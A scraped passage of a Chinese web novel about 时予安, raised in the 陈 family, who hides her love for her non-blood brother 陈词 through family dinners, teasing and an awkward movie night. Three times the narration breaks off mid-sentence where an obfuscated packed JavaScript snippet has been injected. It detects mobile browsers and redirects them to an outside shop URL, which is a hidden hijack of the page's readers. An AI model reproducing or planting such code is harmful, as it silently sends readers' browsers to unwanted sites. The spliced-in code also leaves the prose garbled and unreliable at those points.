时予安自知理亏,乖乖挨呲儿不敢还嘴,这时口袋里手机震动,时予安看见消息顺手回复。 陈词盯她两秒,叹了口气,在一旁幽幽开口:“这是感情淡了,我都因为你中毒住院了,也没见你说两句好听的哄哄我,手机就那么好看,比你哥好看是吧?” 这人戏瘾大发,时予安让他逗得想笑,“是何律师的消息,聊案子的。” 陈词“嗯嗯”两声,“我懂,工作比我重要呗?” 他都这么说了时予安立马就把手机收了,赔着笑脸:“你最重要,你最重要。” “嗯,我最重要,”陈词说着别过脸,拿后脑勺对着她,“我最重要你还给我下毒。” 时予安:“……这茬儿过不去了是吧?” 回忆结束,陈词最后总结:“所以,为了全家安全着想,您老人家还是远离厨房,老老实实当您那十指不沾阳春水的大小姐吧。” 时予安被他说得无从反驳,因为都是事实。她恼羞成怒,抓起沙发抱枕朝陈词砸过去,陈词轻松接住,夹在胳膊底下,冲她挑衅地扬扬下巴。 客厅传来打闹的声音,李媛无奈摇头,“听见没,两个长不大的孩子。”话虽这么说,唇角的弧度却是怎么也压不下去。 张嫂笑着说:“您有福气,想不到小词和念念这么多年,还是这么要好,跟亲兄妹似的。”话落,张嫂自知失言,连忙噤声。 听到“亲兄妹”三个字,李媛有些出神,她想起念念刚来陈家那年,才三岁,每天拽着她衣角问:“干妈,我爸爸妈妈什么时候来接我回家呀?” 一晃,二十三年过去了。 客厅里,陈词任时予安锤了两拳才抬手制止:“停停停,休战。” 时予安弯腰扶着膝盖大口喘气,不过一会儿功夫已经跑得气喘吁吁了,与之形成鲜明对比的是陈词还能气定神闲地点评:“大律师,身体素质不行啊。” 时予安好半晌才喘匀了气,直起身,不服输地反问:“你行?” 陈词挑眉:“我天天夜跑。” 话音刚落,时予安视线无所顾忌地落在他身上,从上到下缓缓扫视一圈,那视线带着探究,又有点玩味,像是在评估什么。 陈词被她看得浑身不自在,轻斥:“往哪儿看呢!” “怕什么?”时予安朝他走近两步,眼里玩味更浓,她故意压低声音问:“该不会是身材见不得人吧?” “呵,我身材见不得人?”陈词气笑了,微微俯身,靠近她,学着她压低声音,语气却拽得不行,“我是怕你流口水。” 时予安突然正色:“哥,知道你身上哪个部位刀枪不入吗?” 陈词:“?” 时予安:“脸啊!” 陈词:“…………” 6. 第 6 章 陈词让时予安自己玩去,他上楼洗个澡。今天一路飞机、法院、餐厅,陈词进了家门连沙发边都没敢挨。 “去客房洗,”母亲的声音从厨房飘出来,“前两天你房间的淋浴坏了,回头找人给你修修。” “行。”陈词应了一声,顺着楼梯往二楼去了。 望着他的背影,时予安心里总觉得有件什么事没办,可怎么也想不起来。她这人心大,想不起来索性不想了,窝进沙发里刷解压小视频。 看着看着困意上来,时予安打了个哈欠,很快,上下眼皮开始打架。 “念念睡着了?” “先别备菜了,有点吵,让她好好睡会儿。” “好,剩下的我来就行,您上去歇着吧。” 是母亲在和张阿姨说话,时予安迷迷糊糊地想,眼皮沉得抬不起来。 意识朦胧间,她感觉有人走过来,在她身上搭了条薄毯,为了不惊动她,动作放得极慢,极轻。接着,在一阵细碎的沙沙声里,客厅里最后一点光也被收走了。 时予安口渴得厉害,起身去厨房倒了杯水,回来时一个女孩突然从楼上跑下来,两人险些迎面撞上。 时予安下意识想说“抱歉”,却在触及到对方面容时猛地消了音。 那女孩哭得满脸是泪,绕过她,跌跌撞撞扑向她身后的少年,死死攥住他的衣角:“哥,你能不能别走,求你了,我什么都不想要,就想你陪着我……别走好不好,求你……求求你了,哥,别走……” 时予安怔在原地,手脚冰凉。 她看着女孩苦苦哀求,看着少年蹲下身来,温柔地用指腹拭去她的眼泪,沉默许久,最后说出那句:“抱歉,念念。” 砰!水杯脱手落地,四分五裂。 时予安猛地睁开眼。 一个熟悉的身影落入视野。 陈词换了件纯黑T恤,衬得皮肤白得晃眼。他看起来刚洗完澡,头发坠着水珠湿漉漉地搭在额前,鼻梁上架着一副细框眼镜,整个人是一个大写的斯文败类。 两人视线对上,陈词愣了下,没立刻说话。 念念偶尔会有起床气,大小取决于她睡得好不好。睡得好,起床气完全可以忽略不计,睡不好,就看谁都不顺眼。不过依照她的性格,起床气再大也不会摔摔打打,就是单纯不想说话,让她自己坐那儿缓一会儿就没事了。 一般来说,陈词判断她起床气有没有发作,就看她睡醒后愿不愿意主动开口说话。 时予安望着陈词,梦境与现实在眼底缠成一团模糊的影子,她迟钝地眨眨眼睛,闭上又睁开,重复了好多次。 “……哥?” 看来睡得不错,陈词放心了,“嗯。” “你回来了?”她小声呢喃。 这句陈词没听清,笑着问:“说梦话呢?” 眸中那层雾渐渐散了,时予安抬手揉揉眼睛,慢吞吞坐直了。 “清醒了?”陈词在沙发另一端坐下,长腿随意往前一伸,差点蹬到茶几。见她点头,他又说:“困就回屋睡去,在这儿窝着多难受。” 时予安摇头,问:“我睡了多久?” “撑死半小时,”陈词掏出手机,“我刚下来你就醒了,睡觉比小狗还警觉。” 陈词话里逗弄的意思很明显,换做平时,时予安早顶回去了,可她此刻却没心思接茬。 对面不断传来“doublekill”的游戏音效,陈词低着头,长指在屏幕上飞快移动。时予安描摹着他的侧脸轮廓,情绪有些低落。 他俩之间横着个她不太想碰的话题。 可是不碰,不代表问题不存在。 时予安滑开手机,翻来覆去地划了几下,状似不经意地问:“哥,你什么时候回美国?” 她知道陈词工作忙,每次都是匆匆回来又匆匆离开,只是不知道这次会不会多留几天。如果可以,她就把后天去吉林的车票改签,晚半天走。 陈词游戏正打到关键处,听见这话也没抬头,“这就着急撵我走了?念念你变了,以前你不是这样的。” “以前什么样?” “以前你都是问我‘哥,你什么时候回来’。”他笑着说。 时予安却没来由感到一阵难过,她把手机扔到一边,又重复了一次:“所以,到底什么时候走?” 她语气格外认真,陈词停下动作,抬起头定定地看着她,时予安无意识地用牙齿去磕下嘴唇,是她紧张时常做的小动作。 陈词皱了下眉,突然不想逗她了。 “不走。”他说,“别咬嘴唇。” 时予安嘴唇张了张,还没出声,那道沉稳的嗓音又落了下来:“以后都不走了。” 话落,陈词看见她骤然睁大的眼睛。 手机传来“Defeat”的系统提示音,游戏结束了。 “哥。”时予安咽了咽干涩的喉咙,过了许久才极轻极轻地开口:“你输了。” 陈词不怎么在意地关掉手机。 院门口传来汽车熄火的动静,陈词起身往玄关走,说应该是爸爸回来了,时予安低头删掉那个悬浮在主页许多年的世界时钟,跟着他走出去。 警卫员拉开车门,侧身让下一位身穿深色夹克的中年男人,眉宇间带着惯常的沉静严肃。 “爸爸。”兄妹俩同时叫了一声。 陈文泓点了点头,拍拍儿子的肩膀,“回来了?” “是,爸爸。”陈词从父亲手上接过公文包。 陈文泓又微笑看向念念,“闺女也回来了?” “回来啦!”时予安笑着说,声音甜脆脆的。 “都堵在院子里做什么?”李媛围着披肩站在门口,含笑看着丈夫和一双儿女,“还不快进来?” 时予安挽了父亲往屋里走,陈词把父亲的公文包放进书房,里面多是一些工作文件,旁人是不让随便进出的。 陈文泓侧目打量着女儿,问她:“今儿怎么格外高兴?” “有吗?没有吧。” “嘴角都快翘到天上去了还说没有,跟爸爸说说,遇上什么好事了?” 时予安背起手,踮脚凑到父亲耳边,“秘密。”她尾音拖得长长的,笑意满得都快从眼睛里跑出来了。 陈文泓佯装叹气,跟妻子说:“瞧见没,闺女长大了,跟咱们都有秘密了。” “哎呀,爸爸!” 李媛摘了披肩,慢条斯理地说:“女孩子长大了,有点自己的小秘密不是挺正常?你呀,非要刨根问底做什么?” “好,不问。”陈文泓轻轻拍了拍女儿的手背,“秘密就秘密,我闺女高兴就成。” 他顿了顿,问:“去看过爷爷了?” 时予安咳了一下,“……还没有。” “没规矩。”陈文泓话里带着不赞同。 时予安扁扁嘴,“哥也没去。” “去把你哥叫过来,我问问他怎么当哥哥的。” “大老远就听见有人告我状,说什么呢?”陈词端着父亲的紫砂杯走过来,里面已经续上了热水。 陈文泓看着他,“妹妹年纪小不懂事,你当哥哥的也不懂事?不知道提醒着点?我平时怎么教你们的,无论出门还是归家,都得先跟父母长辈打声招呼,这些都忘了?” “没忘,”陈词把茶杯放在父亲手边,“我俩明天一早过去,今天到家晚了,怕打扰爷爷休息。” “行了行了,别念叨孩子了,俩人下午才到家,都累得够呛,明天再去探望老爷子也不迟。”李媛截断话题。 陈文泓被妻子瞪了一眼,便没再说什么。 七点准时开饭,红木餐桌上整整齐齐摆了八菜四汤,一家四口依次落座,陈父陈母坐一侧,时予安和陈词坐父母对面,一家人难得围坐一起,热热闹闹地吃了顿家常饭。 兄妹俩面前各摆了一碗汤面,面是母亲亲手擀的,粗细均匀,很有筋道,卧在碗底,浇上一勺烧好的西红柿鸡蛋卤,再撒一小把葱花,馋得人口水都要流出来了。时予安低头挑起一筷送进嘴里,满足地眯起眼:“妈妈做的手擀面就是好吃,外头根本吃不着这味儿。” “好吃就多吃点,”李媛不住地往儿女碗里夹菜,笑得温柔,“平日这家里就我跟你爸,冷冷清清的,没成想今天你俩都回来了。” 陈文泓斟了小半杯白酒,端起来抿了一口,看向儿子:“听你妈说,这次回来就不走了,美国那边怎么打算的?” 陈词夹了块鱼,不紧不慢地挑着刺:“Zorya在北京设了分公司,以后我的工作重心就放在北京这边了。” “陈总这是不打算继续给资本主义帝国打工了?”时予安语气带着戏谑。 陈词面不改色:“是啊,打算回来报效祖国。” 时予安闷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025682|194387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陈文泓问:“怎么突然想回来了?” “这得问您夫人啊爸,”陈词给念念盛了碗汤添在手边,接着控诉道:“我在咱家没有拖鞋,没有毛巾,没有牙刷,就连喝水的杯子都是一次性的!李女士,冒昧问一下,我要是再晚回来几年,您下一步是不是计划把我从户口本上永久除名了?” “那倒没有,迁户口多麻烦,我下一步计划把你用的碗筷也换成一次性的。”李媛一本正经地说。 时予安没忍住被汤呛了一下,连忙抽纸巾掩嘴。 陈词一边给她拍背,一边朝他妈竖了竖大拇指,“您可真是我亲妈!” “废话,”李媛瞥他一眼,慢悠悠道:“你要不是我生的,能长这么精神?” “是是是,多亏您,谢谢妈。”陈词举手投降。 “文泓,你看念念是不是瘦了?”李媛问。 陈文泓仔细端详一会儿,笑着说:“好像是瘦了点,不过精气神儿倒是不错,看来这次去旧金山玩得挺开心?” 时予安本来有点走神,闻言心里突地一跳,下意识瞟了陈词一眼,惊讶道:“爸爸,您怎么知道?” 陈文泓笑而不语,陈词这时候插话:“你什么时候去旧金山了?怎么没跟我说一声,也没来找我?” 时予安赶紧往嘴里塞了块藕盒,嚼啊嚼,假装倒不出嘴说话。 “凭什么去了就得找你?”李媛轻哼:“你怎么不主动去找念念呢?甭以为全天下就你日理万机,我们念念时间也宝贵得很。” “就是就是。”时予安得了母亲支援,忙不迭附和。 “我也没说什么,”陈词没再追问,“就是觉得有点可惜,昨天公司有场路演,还挺精彩的,早知道你在旧金山就请你过去看看了。” 时予安盯着汤碗,“嗯,是有点可惜。” 李媛问:“念念,这次回来能在家待几天?” “后天就得走,去吉林。” 陈词转头看向她。 李媛在桌下悄悄碰了碰陈文泓的膝盖,陈文泓会意,知道这场白脸还得自己来唱。 沉吟片刻,陈文泓琢磨着开口:“念念,有没有想过找份稳定的工作?爸爸知道,你做法援是出于好心,我跟妈妈打心眼儿里为你骄傲,但咱们可以是不是可以换个法子来做这件事?” 时予安抬头望向父亲,听他缓声道:“你看啊,现在不少知名律所都有专门的法援项目,每年定期派人下去,相对来说安全很多。咱们何必非得一个人天南地北地跑,去的还尽是些犄角旮旯的地方呢?你一个姑娘家,多危险。” “就是,”李媛接话:“这回你去贵州出差,中间整整一天没信儿,电话打不通,微信也不回,我们急得一宿没合眼,你爸爸差点就把电话打到贵州省公安厅去问了。后来才知道你去的那个村子没信号,得到镇上才能给我们打电话。念念,你这样,我们实在放心不下。” 时予安听着父母关心的话语,眼眶微微发热。 陈词坐在一旁,始终默不作声。他不说话,其实已经表明态度了。私心来讲,他肯定不愿意看妹妹受一点罪,吃一点苦,但见她眼下这副抿唇不语的纠结模样,他又忍不住有点心疼。 “只是建议,不是逼你,好好考虑一下,好不好?”陈词温声道。 时予安点点头。 这两年多,她跑了二十多个城市,三十多个乡镇,回京次数屈指可数。父母任由她在外面跑了两年,已是对她最大的纵容。她知道,这一天早晚会来。 爸爸说得她都懂,她也不是没有考虑过找份工作安定下来,毕竟理想是一回事,现实又是另一回事,她不可能一直不找工作,坐吃山空,立地吃陷。 “爸妈,”良久,时予安搁下筷子郑重道:“你们的意思我明白了,等吉林这个案子结了,我就开始找工作。” 李媛一听,长长舒了口气,了却一桩心事。 当初之所以支持念念去做法援,是因为她清楚自家闺女的性格,哪怕做父母的不同意,恐怕也很难改变她的决定。 她原想着,让念念亲自出去闯一闯也好,苦了累了自然就知道跑回来了。谁知眼瞅着过去两年了,这孩子硬是没喊过一声累。 可她是当妈的,看着自己打小捧在手心里养大的姑娘一个人拎着行李上山下乡,奔波在那些她听都没听过的地方,让她怎么舍得? 7. 第 7 章 饭后,李媛进琴房练琴,时予安和陈词陪父亲在客厅补今晚因家宴漏掉的新闻联播。 陈词注意到念念看得比平时认真许多,想必是明天要去看望爷爷的缘故。像他们这种家庭出身的孩子,从小就被培养看新闻的习惯,纵使日后不从政,也断不能缺乏政治敏感性,防止被人当枪使,这一点陈老爷子一直反复强调,他退下来后一直住在庭西山,小辈们每次过去,总免不了被细细考问一番,若是答上来还好,若是答不上来,且等着挨骂吧! 电视机里,主持人正在报道今日在京召开的某重要会议,念到列席人员时,画面适时切换到会场,时予安看到几个熟悉的叔叔伯伯的面孔,陈文泓端坐发言席中央,面前摆着话筒和标志性的常委杯,他就某项议题发表讲话时,镜头给了他一个停留数秒的特写,其他与会者微微垂首,笔尖在摊开的笔记本上专注记录。 “爸爸还是很上镜。”趁陈文泓注意力不在他们身上,时予安悄咪咪道,这一点陈词很赞同,跟她说,“爸爸这个年纪还没有发福,可以说是相当难得了。” “谁让妈妈最在意身材了,爸爸工作那么忙,还雷打不动地坚持锻炼,保持每天至少两升饮水量,就怕哪天衬衫扣子跟啤酒肚过不去,被妈妈嫌弃。”时予安悄悄编排父亲,陈词一听就笑了。 “小词。”旁边传来父亲一声呼唤,兄妹俩同时噤声。 时予安立刻正襟危坐,表示刚才什么也没发生,陈词也迅速敛去那点玩笑神色,回过头来时面上已是一派沉稳,“什么事,爸爸?” 新闻联播已近末尾,陈文泓站起身,“跟我来书房。” 陈词跟在父亲身后,脑海中快速过了一遍今晚的言行,十分肯定自己一个英文单词都没蹦,那是为什么? 合上门,陈文泓没绕弯子,直接问道:“今天早上的新闻是怎么回事?你跟杜家那姑娘最近走的挺近?” 原来是为这事儿,陈词有些无奈地笑笑,“爸爸,您想多了,根本没影的事儿,不过是凑巧搭了同一班飞机回来,在停车场碰上聊了两句。” 陈词和杜乐瑶以前挺熟的,早些年杜家和陈家还在一个大院里住过,孩子们年岁相仿,常在一块玩,只是后来形势几经变换,杜家站错了队,一朝失势,被调离了权力中心,杜父这些年一直在地方任职,他此番进京,托人递了话想见陈书记,看那意思,是想活动活动,调回来了。 当然,这些话陈文泓没跟儿子细说,他只在光洁的桌面上轻轻叩了两下手指,叮嘱道:“眼下局势复杂,有些事,你心里要有数。” 陈词点头,“您放心,我有分寸。” “那就好,出去吧。”陈文泓挥了挥手,眼见陈词已握上门把手,他忽然想起什么,又叫住他,“对了,念念今晚是不是还没吃水果?” 陈词愣了下,随即失笑,“是还没吃。” 真不容易,忙成这样,竟然还惦记着念念没吃水果。 “去厨房给她切一盘。”陈文泓道:“你妈妈上楼前特意叮嘱过,差点让我给忘了。” 家里人都知道念念很喜欢吃水果,属于一天不吃浑身难受的那种。陈词在厨房捣鼓水果,时予安蜷在沙发一角,噼里啪啦地戳屏幕。 冷不防脸上一凉,时予安抬起头,是陈词弹过来的水珠。他把果盘搁在茶几上,抽了张纸巾擦手,随口问:“干嘛呢?一副苦大仇深的样子。” “分手呢,”时予安瘪了瘪嘴,烦道:“没见过这么难缠的,磨磨唧唧没完没了,掰扯半天还没完事。” “又分了?”陈词坐下叉了块蜜瓜,挑眉看向她,“这个谈了多久?” “三周?还是四周?”时予安歪着头想了想,“记不清了,反正没谈几天我就去贵州了。”她想趁着去吉林前找苏洋把话说清楚,给他发消息,约他明天见面。 陈词问:“有照片没,我看看。” “我没存,他朋友圈好像发过自己照片。”时予安边吃水果边从苏洋朋友圈翻出一张合照,是一群朋友在livehouse拍的,陈词推推眼镜,视线定格在人群中央那道格外扎眼的身影上,他眉心一跳,难以置信地抬眼看向时予安,音量陡然拔高:“你找了个黄毛?” “什么黄毛?”时予安蹙眉凑过来,噗嗤笑了,“哥你看错了!那个黄毛是他朋友,旁边那个弹吉他的才是苏洋。” “吓我一跳。”陈词脸色稍霁,把手机塞回念念手里,“我寻思不可能啊,你八岁我就对你进行安全教育,按理说渗透应该挺到位,审美再滑坡也不至于往精神小伙那方向滑。” 时予安呵呵:“请问您说的安全教育,是指带我看那种小姑娘不听家长话找了个精神小伙早恋,最后命丧黄泉的刑侦悬疑片吗?” 陈词以前很怕他妹谈恋爱,外面那些男人什么样,他作为男人还不清楚吗,能有什么好东西?以至于第一次听说念念谈恋爱的消息后,陈词心里无端端生出一股无名火,方逸航和迟烁都说他管得宽,人家念念都成年了,凭什么不能谈恋爱,你爸妈都没说什么。陈词说念念还小,担心她被欺负,同时他又有点不愿意承认自己好像不太希望念念谈恋爱,这种想法很不好,很危险,显得他跟个封建大家长似的。于是陈词积极调整心态:念念第一次谈恋爱,他转转反侧失眠一宿;第二次就好多了,他只失眠半宿;第三次他叹了口气,该吃吃该喝喝该睡睡;第四次,他已经能面不改色地问“这回这个是做什么的?”;到了第五次,陈词已经完全不担心他妹会被骗了,甚至觉得他妹是有点本事在身上的,一般人还真谈不了五个。 时予安看他沉默,忽然起了玩心,“哥,说真的,如果我真找了个小视频里那种骑着鬼火摩托、吊着大耳环、头发染得五颜六色的男朋友,你怎么办?会同意吗?” “真有那么一天,我恐怕得当一回棒子了。”陈词斜她一眼。 时予安愣了一下,“什么棒子?” “棒打鸳鸯啊。” 时予安很开怀地笑起来。 “你俩聊什么呢,笑的这么开心。”李媛练完琴,端着一杯泡好的玫瑰花茶走过来,在沙发扶手边站定,微笑看着这对兄妹。 “聊念念男朋友呢,哦不对,是前男友。”陈词攥着个橘子抛着玩。 李媛被女儿拉着手坐下,见怪不怪地问她:“这次是为什么?” “不合适啊妈妈。”时予安眨着无辜的大眼睛,接过陈词抛来的橘子开始剥。 “分得好,觉得不合适就赶紧分,千万别拖着,耽误自己也耽误别人。”李媛捧着茶杯,眼风往陈词那边一扫,盘问道:“你呢,有对象了没?” 橘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025683|194387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汁水不小心溅到眼里,时予安拿纸巾擦的时候听见陈词说“没”。 “为什么?”李媛追问。 “什么为什么,没碰上喜欢的呗,妈您也不想想,我忙得连家都顾不上回,哪来的闲工夫谈恋爱。” “少来,”李媛不吃他这一套,“工作忙的多了去了,也没见人家耽误恋爱结婚。我问你,那个杜乐瑶是怎么回事?微博上说得有鼻子有眼的,我和你爸都看见了。” “都是误会,您别老刷微博,对脑子不好。”陈词说着,瞥见念念把剥好的橘子分成两瓣,仔仔细细地撕橘子瓣上的白色筋络,陈词把她刚撕干净的那一瓣拿过来吃了,她也没反应,像没看见似的。 陈词瞅着有点不对劲,刚要说话,又听母亲问:“杜乐瑶是误会,那其他人呢?一个合适的都没有?你妹妹好歹还谈过几个,你倒好,三十岁的人了,一次正经恋爱都没谈过,这像话吗?”李媛简直要愁死,两个孩子,一个不谈,一个谈了分,分了谈,没一个让她省心的。 时予安掰出一瓣橘子塞进嘴里,酸的要命,她想母亲这话说的不对,怎么会一次正经恋爱都没谈过呢,哥哥明明谈过恋爱。 陈词语气有点无奈:“不管多大,总得碰上喜欢的再谈吧?我总不能去大街上随便拽一个过来,跟人家说,不好意思啊,我妈想让我谈恋爱,你跟我谈一个呗?您自己听听,这像话吗?” “不像话。”李媛自己也承认,“可你看看你身边一块长大的几个发小,迟烁跟你一样大,人家连儿子都有了,小望和小忆比你小四岁,人俩今年也结婚了,你是一点不着急啊。” 她这话说对了,陈词还真不着急,“不是还有方逸航么,他也没对象呢。” “你和逸航比?陈词,你别忘了,你比人家大四岁!”李媛恨不得敲他一棍子,帮他认清现实。 “大四岁是我愿意的吗?要不是您把我生那么早,我能比人家大四岁吗?我都没怪您呢,您倒先怪起我来了。”陈词把锅甩到母亲身上。 李媛差点被他绕进去,半晌明白过来,觉得又好气又好笑,拿这个儿子一点办法都没有。 “话说回来,您怎么突然开始催婚了,您以前可不这样。”陈词问。 李媛:“我听你王姨说了,上次她催了小望以后,没过多久小望和小忆就领证了,所以我也想试试这招,说不定真管用呢?” 陈词:“……” “妈,催婚不好,听话,咱不学这个。” “你以为我愿意催啊,”李媛叹气:“现在年轻人不知道怎么了,一个个都不愿意结婚。” 时予安吃完半个酸橘子,插嘴道:“因为结婚没什么好的啊,您看现在结婚多简单,去民政局扯个证就行了,但离婚可就麻烦了,还要等三十天冷静期。我朋友说了,宽进严出是骗局,所以大家都不愿意结婚,我也不愿意。” 李媛看向女儿,语重心长:“那是没碰到喜欢的,真碰到特别喜欢的就愿意结婚了。” 时予安笑着说:“妈妈,那得很喜欢很喜欢很喜欢才可以。” “如果你曾经暗恋的那个男生和你求婚,你愿意答应他吗?”陈词忽然问。 话音刚落,母女俩同步震惊抬头。 时予安:“……什么?” 李媛:“暗恋?!” 8. 第 8 章 “暗恋?我们念念?”李媛脸上的表情肉眼可见地发生了变化,惊呆了,“天呐……” 她怎么也想不到有一天“暗恋”这俩字还能和念念扯上边儿,在她看来,这丫头对待感情一向是大胆又洒脱的,她但凡喜欢上谁,肯定会明明白白告诉对方,绝不是藏着掖着的那种人。 李媛问儿子:“你怎么知道念念有暗恋的人?” 陈词看着同样疑惑的时予安,说:“大概是去年年底那会儿,我们在老四酒吧玩真心话大冒险,昭昭问你暗恋过几个异性,你当时的回答是,一个。” 时予安想起来了,是有这么一回事。因为方逸航在游戏开始前说玩真心话不说实话的人诅咒她一辈子发不了财,所以她当时没否认,没想到陈词还记得。 “怎么了?”时予安面无表情地问,掩饰自己心里没底。 “你不是说不想结婚吗,”陈词好奇:“如果有一天和你求婚的是他,你会答应吗?” 心脏突突跳了两下,时予安语气尽可能平常,“会吧。” “那看来是很喜欢很喜欢很喜欢他了?”陈词重复她刚才说过的话。 时予安几不可闻地“嗯”了一声,耳边落下一绺碎发,她抬手抿到耳后,听见母亲心疼地说:“傻孩子,干嘛要暗恋呢?暗恋很难过的。” “可不是,”陈词眉头皱着,“当时我就想,你玩什么不好,非学人家玩暗恋,暗恋多苦啊。” 时予安笑笑,“还好,或许是因为他对我一直很好,所以也没觉得多么苦。”只除了某些夜深人静的时刻。 “什么意思?”陈词听见这话眉头皱得更紧了,“他故意吊着你呢吧?” “没有。”她低着头说。 陈词又问:“那他知不知道你喜欢他?” 时予安忽然抬起眼,对视在这一刻发生了,她直勾勾地看着陈词,很深很深地看他,一直看进他眼睛里,一秒,两秒,三秒,陈词疑惑地歪了歪头,问她:“怎么了?” “不知道。”她突然泄气。 他不知道自己喜欢他,也不知道自己怎么了。 “为什么不告诉他?”陈词问。 李媛也说:“是啊,既然这么喜欢,为什么不说呢?” 因为不该说,也不能说。 时予安没有正面回答他们,只说:“我们不可能在一起的,妈妈。” 她说得很肯定,李媛忍不住问:“为什么?” “他不喜欢我。” “你看看,还说他没吊着你?”陈词急了。 “就是没有!” “祖宗,你是不是傻?他不喜欢你,同时又对你特别好,让你越陷越深,这不是吊着你是什么?”陈词气得不轻,骂了句渣男。 时予安想笑,忍住了,板着脸严肃道:“不许你说他坏话。” “我偏要说。”陈词很幼稚地顶回去。 李媛静静打量着女儿,印象中,念念从来没有这样维护过谁,以前的那些男朋友也没有,看来真的很喜欢那个人。 “是个怎样的男孩子,妈妈认识吗?” 是个怎样的男孩子,时予安想了想,说:“是个很好的男孩子。” “还有呢?” “还有……喜欢穿纯色T恤,爱干净,甚至有点轻微洁癖,喜欢打篮球,而且打得特别好。他自己不抽烟,也很讨厌别人抽烟,公共场合碰见有人吸烟,他会立马皱眉走开,虽然不说什么,但你就是能感觉到他在那里自顾自生闷气,很可爱。” 李媛忽然笑起来,“听你的描述,怎么感觉有点像哥哥?” 陈词闻言拧了拧眉,不乐意听母亲说自已和另一个人很像这种话,但这表情眼下落在时予安眼里就有点变了味道,她淡淡地垂下眼皮,轻声找补了一句:“这些也不算多么特别,三哥、四哥他们不也这样么。” 闻言,陈词不知想到什么,若有所思地看着她。 时予安捂住脸,“哎呀你们不要这种表情看着我,搞得我好像很可怜似的,”她语气夸张地说:“他不喜欢就不喜欢呗,我的人生又不是只有爱情,亲情,友情都是我生命中很重要的一部分,我有爱我的爸爸妈妈,有好朋友,已经很满足啦。” 但李媛还是觉得心疼,她握住女儿的手,柔声道:“既然他不喜欢我们,那我们也不要喜欢他了,世界上喜欢我们念念的人多了去了,爸爸、妈妈、哥哥,我们都很爱你,不缺他一个。” 时予安靠过去抱住母亲,第无数次说:“我也爱你妈妈,我好爱你和爸爸的。” 她总是轻易说爱,爱爸爸,爱妈妈,爱爷爷,爱十一…… 陈词在一旁轻轻“啧”了一声,“那我呢?” “哥哥吃醋了。”李媛笑道。 时予安从善如流:“我也爱你,哥。” 陈词满意了,“这还差不多。” 对时予安而言,面对他说出“我爱你”三个字并不难,他们之间是可以轻易说爱的关系,但,不是可以轻易说“喜欢”的关系。 快九点了,陈词催母亲上楼睡觉,李媛摆手:“这才几点,我又不是七老八十的老太太,这么早睡不着。” “那您想干嘛?” “咱仨找部电影看吧?”李媛提议。 时予安积极响应:“十一前两天给我推荐了一部西班牙电影,说特别好看,要不咱们就看这个?” 李媛说好,陈词问:“讲什么的?” “你干嘛?”时予安警惕地看着陈词,并勒令他不许提前去搜剧透。 陈词耸耸肩,“片子什么类型也不能透露?” “十一说是爱情片。” 陈词把客厅灯关了,拉上窗帘,回来时时予安已经把电影投到电视上了,两人一左一右坐在母亲两侧。 片子的确是部爱情片,一开始都挺正常的,时予安也没觉出不对劲,直到她发现电影里的男女主角是兄妹。 时予安:“…………” 这他妈是部伪骨科题材的爱情片!! 她悄悄摸过手机,借着阴影的掩护疯狂轰炸许归忆。 时予安:许十一,你要我死?[刀/][刀/][刀/] 许归忆:怎么啦? 时予安想穿过屏幕揍人:你推的什么破电影!哥哥妹妹的!我哥现在就在我旁边坐着!我妈妈也在!! 许归忆:哈哈哈哈哈哈,多好的机会,你正好可以观察一下他们的反应嘛~ 明明暗暗的光影打在陈词脸上,柔和了他的侧脸轮廓,莫名显得有些温柔,时予安偷偷瞄了几眼,发现陈词看得还挺入神。 中途李媛回房接了个电话,回来时有点接不上剧情,时予安听见她问:“男女主在一起了?怎么住一块去了?” 陈词眼睛看着屏幕,答:“他俩是兄妹。” “亲兄妹谈恋爱?”李媛非常惊讶,“外国导演这么敢拍?” “不是亲兄妹,是重组家庭的继兄妹,没有血缘关系。”陈词这样跟母亲解释。 李媛“哦”了一声,没再说什么,端起茶杯喝了口水,转回去继续看电影了,但时予安却从这一声短促的“哦”里敏锐地捕捉到几分不太赞成的意思。老一辈的思想与年轻人相比总是传统一些,对于这种游走在伦理边缘的情感关系,李媛即使知道是虚构的,也难免会觉得别扭,只是她家教好,心里觉得不合适也不会当面指出来批评。 电影仍在继续,随着剧情的展开,男女主的对手戏越来越暧昧拉扯,台词一句比一句撩人,时予安如坐针毡,可电影是她自己选的,母亲和哥哥都没有离开,她也只能硬着头皮往下看。 耳边传来一阵黏腻的水声,时予安抬眼看过去,屏幕上两个人正亲得难舍难分,那一刻,陈词和时予安的默契达到了前所未有的顶峰,两人不约而同地垂下头抓手机,仿佛有什么要紧事处理。 手机嗡嗡震了下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025684|194387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时予安收到一条微信,来自旁边的陈词。 陈词:这什么?这是什么啊?[尴尬/][尴尬/][尴尬/] 时予安憋着气打字:十一坑我!!! 